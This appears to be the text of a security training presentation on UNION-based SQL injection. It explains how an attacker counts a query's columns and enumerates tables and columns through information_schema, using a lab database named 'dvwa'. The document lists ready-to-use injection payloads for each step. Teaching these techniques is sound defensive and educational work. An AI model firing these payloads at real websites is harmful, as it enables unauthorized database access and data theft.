SQLi

DATA EXFILTRATION AND DB ENUMERATION

sleepunderflow
Grzegorz Zielinski

Why

- In order to read data from a database we need to know what table to read from
- We are constrained to what the website developer shows us – can be just a single column (list of usernames only), can be 5 columns, can be 20
- Not every column read from database must be shown and not every column that you see must be originated from a db

What do we use

- We use the fact that if we see some data listed it probably uses SELECT statement
- SELECT can use UNION command to show data from multiple tables
- CONCAT function can be used to squeeze multiple columns into a single one

Enumerate number of columns read from a DB

- ‘ UNION ALL SELECT 1,2,3 --

List Tables

- ' UNION ALL SELECT table_name, table_schema FROM information_schema.tables --

List Columns

- ' UNION ALL SELECT column_name, CONCAT(table_schema, ' ', table_name) FROM information_schema.columns --
- ' UNION ALL SELECT column_name, CONCAT(table_schema, ' ', table_name) FROM information_schema.columns WHERE table_schema=‘dvwa’ --